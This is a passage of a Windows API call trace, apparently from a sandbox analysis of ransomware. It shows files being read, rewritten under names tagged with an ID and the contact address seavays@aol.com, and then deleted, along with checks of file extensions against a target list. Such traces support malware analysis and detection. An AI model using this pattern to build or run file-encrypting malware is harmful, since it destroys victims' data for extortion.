(lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0054.579] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\bootsect.bak.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.579] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0054.579] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0054.579] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.579] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.579] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\bootsect.bak.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0054.580] GetLastError () returned 0x0 [0054.580] ReadFile (in: hFile=0x348, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x2000, lpOverlapped=0x0) returned 1 [0054.581] WriteFile (in: hFile=0x34c, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x2010, lpOverlapped=0x0) returned 1 [0054.583] ReadFile (in: hFile=0x348, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0054.583] WriteFile (in: hFile=0x34c, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0054.583] SetEndOfFile (hFile=0x34c) returned 1 [0054.583] CloseHandle (hObject=0x34c) returned 1 [0054.584] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.584] SetEndOfFile (hFile=0x348) returned 1 [0054.585] CloseHandle (hObject=0x348) returned 1 [0054.585] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x27) returned 1 [0054.585] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0054.585] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0054.585] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0054.585] lstrlenW (lpString=".doc") returned 4 [0054.585] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0054.585] lstrlenW (lpString=".docx") returned 5 [0054.585] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0054.585] lstrlenW (lpString=".pdf") returned 4 [0054.585] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0054.586] lstrlenW (lpString=".xls") returned 4 [0054.586] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0054.586] lstrlenW (lpString=".xlsx") returned 5 [0054.586] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0054.586] lstrlenW (lpString=".ppt") returned 4 [0054.586] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0054.586] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0054.586] lstrlenW (lpString=".zip") returned 4 [0054.586] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0054.586] lstrlenW (lpString=".rar") returned 4 [0054.586] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0054.586] lstrlenW (lpString=".bz2") returned 4 [0054.586] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0054.586] lstrlenW (lpString=".7z") returned 3 [0054.586] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0054.586] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0054.586] lstrlenW (lpString=".dbf") returned 4 [0054.586] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0054.586] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0054.586] lstrlenW (lpString=".1cd") returned 4 [0054.586] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0054.586] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0054.586] lstrlenW (lpString=".jpg") returned 4 [0054.586] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0054.586] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0054.586] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0054.586] lstrlenW (lpString=".doc") returned 4 [0054.586] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0054.586] lstrlenW (lpString=".docx") returned 5 [0054.586] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0054.586] lstrlenW (lpString=".pdf") returned 4 [0054.587] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0054.587] lstrlenW (lpString=".xls") returned 4 [0054.587] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0054.587] lstrlenW (lpString=".xlsx") returned 5 [0054.587] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0054.587] lstrlenW (lpString=".ppt") returned 4 [0054.587] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0054.587] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0054.587] lstrlenW (lpString=".zip") returned 4 [0054.587] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0054.587] lstrlenW (lpString=".rar") returned 4 [0054.587] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0054.587] lstrlenW (lpString=".bz2") returned 4 [0054.587] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0054.587] lstrlenW (lpString=".7z") returned 3 [0054.587] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0054.587] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0054.587] lstrlenW (lpString=".dbf") returned 4 [0054.587] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0054.587] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0054.587] lstrlenW (lpString=".1cd") returned 4 [0054.587] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0054.587] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0054.587] lstrlenW (lpString=".jpg") returned 4 [0054.587] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0054.587] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0054.588] lstrlenW (lpString="C2RHeartbeatConfig.xml") returned 22 [0054.588] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0054.588] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=4136) returned 1 [0054.588] CloseHandle (hObject=0x348) returned 1 [0054.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 0x20 [0054.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.588] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0054.588] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.588] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.588] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0054.589] GetLastError () returned 0x0 [0054.589] ReadFile (in: hFile=0x348, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x1028, lpOverlapped=0x0) returned 1 [0054.590] WriteFile (in: hFile=0x34c, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x1030, lpOverlapped=0x0) returned 1 [0054.591] ReadFile (in: hFile=0x348, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0054.592] WriteFile (in: hFile=0x34c, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x100, lpOverlapped=0x0) returned 1 [0054.592] SetEndOfFile (hFile=0x34c) returned 1 [0054.592] CloseHandle (hObject=0x34c) returned 1 [0054.592] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.592] SetEndOfFile (hFile=0x348) returned 1 [0054.593] CloseHandle (hObject=0x348) returned 1 [0054.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0054.594] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 1 [0054.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0054.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0054.594] lstrlenW (lpString=".doc") returned 4 [0054.594] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0054.594] lstrlenW (lpString=".docx") returned 5 [0054.594] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0054.594] lstrlenW (lpString=".pdf") returned 4 [0054.594] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0054.594] lstrlenW (lpString=".xls") returned 4 [0054.594] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0054.594] lstrlenW (lpString=".xlsx") returned 5 [0054.594] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0054.594] lstrlenW (lpString=".ppt") returned 4 [0054.594] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0054.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0054.594] lstrlenW (lpString=".zip") returned 4 [0054.594] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0054.594] lstrlenW (lpString=".rar") returned 4 [0054.594] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0054.594] lstrlenW (lpString=".bz2") returned 4 [0054.594] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0054.594] lstrlenW (lpString=".7z") returned 3 [0054.595] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0054.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0054.595] lstrlenW (lpString=".dbf") returned 4 [0054.595] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0054.595] lstrlenW (lpString=".1cd") returned 4 [0054.595] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0054.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0054.595] lstrlenW (lpString=".jpg") returned 4 [0054.595] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0054.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0054.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0054.595] lstrlenW (lpString=".doc") returned 4 [0054.595] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0054.595] lstrlenW (lpString=".docx") returned 5 [0054.595] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0054.595] lstrlenW (lpString=".pdf") returned 4 [0054.595] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0054.595] lstrlenW (lpString=".xls") returned 4 [0054.595] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0054.595] lstrlenW (lpString=".xlsx") returned 5 [0054.595] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0054.595] lstrlenW (lpString=".ppt") returned 4 [0054.595] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0054.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0054.595] lstrlenW (lpString=".zip") returned 4 [0054.595] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0054.595] lstrlenW (lpString=".rar") returned 4 [0054.595] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0054.595] lstrlenW (lpString=".bz2") returned 4 [0054.596] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0054.596] lstrlenW (lpString=".7z") returned 3 [0054.596] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0054.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0054.596] lstrlenW (lpString=".dbf") returned 4 [0054.596] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0054.596] lstrlenW (lpString=".1cd") returned 4 [0054.596] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0054.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0054.596] lstrlenW (lpString=".jpg") returned 4 [0054.596] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0054.596] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0054.596] lstrlenW (lpString="OfficeUpdateSchedule.xml") returned 24 [0054.596] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0054.597] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=4782) returned 1 [0054.597] CloseHandle (hObject=0x34c) returned 1 [0054.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 0x20 [0054.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0054.597] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.597] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0054.598] GetLastError () returned 0x0 [0054.598] ReadFile (in: hFile=0x34c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x12ae, lpOverlapped=0x0) returned 1 [0054.599] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x12b0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x12b0, lpOverlapped=0x0) returned 1 [0054.600] ReadFile (in: hFile=0x34c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0054.600] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x104, lpOverlapped=0x0) returned 1 [0054.600] SetEndOfFile (hFile=0x368) returned 1 [0054.600] CloseHandle (hObject=0x368) returned 1 [0054.601] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.601] SetEndOfFile (hFile=0x34c) returned 1 [0054.602] CloseHandle (hObject=0x34c) returned 1 [0054.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0054.602] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 1 [0054.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0054.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0054.602] lstrlenW (lpString=".doc") returned 4 [0054.603] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0054.603] lstrlenW (lpString=".docx") returned 5 [0054.603] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0054.603] lstrlenW (lpString=".pdf") returned 4 [0054.603] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0054.603] lstrlenW (lpString=".xls") returned 4 [0054.603] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0054.603] lstrlenW (lpString=".xlsx") returned 5 [0054.603] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0054.603] lstrlenW (lpString=".ppt") returned 4 [0054.603] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0054.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0054.603] lstrlenW (lpString=".zip") returned 4 [0054.603] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0054.603] lstrlenW (lpString=".rar") returned 4 [0054.603] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0054.603] lstrlenW (lpString=".bz2") returned 4 [0054.603] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0054.603] lstrlenW (lpString=".7z") returned 3 [0054.603] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0054.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0054.603] lstrlenW (lpString=".dbf") returned 4 [0054.603] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0054.603] lstrlenW (lpString=".1cd") returned 4 [0054.603] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0054.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0054.603] lstrlenW (lpString=".jpg") returned 4 [0054.603] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0054.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0054.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0054.604] lstrlenW (lpString=".doc") returned 4 [0054.604] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0054.604] lstrlenW (lpString=".docx") returned 5 [0054.604] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0054.604] lstrlenW (lpString=".pdf") returned 4 [0054.604] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0054.604] lstrlenW (lpString=".xls") returned 4 [0054.604] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0054.604] lstrlenW (lpString=".xlsx") returned 5 [0054.604] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0054.604] lstrlenW (lpString=".ppt") returned 4 [0054.604] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0054.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0054.604] lstrlenW (lpString=".zip") returned 4 [0054.604] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0054.604] lstrlenW (lpString=".rar") returned 4 [0054.604] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0054.604] lstrlenW (lpString=".bz2") returned 4 [0054.604] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0054.604] lstrlenW (lpString=".7z") returned 3 [0054.604] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0054.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0054.604] lstrlenW (lpString=".dbf") returned 4 [0054.604] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0054.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0054.604] lstrlenW (lpString=".1cd") returned 4 [0054.604] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0054.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0054.604] lstrlenW (lpString=".jpg") returned 4 [0054.604] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0054.605] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0054.605] lstrlenW (lpString="ServiceWatcherSchedule.xml") returned 26 [0054.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0054.605] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=4450) returned 1 [0054.605] CloseHandle (hObject=0x34c) returned 1 [0054.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 0x20 [0054.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0054.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0054.605] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.605] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0054.606] GetLastError () returned 0x0 [0054.606] ReadFile (in: hFile=0x34c, lpBuffer=0x3f2d020, 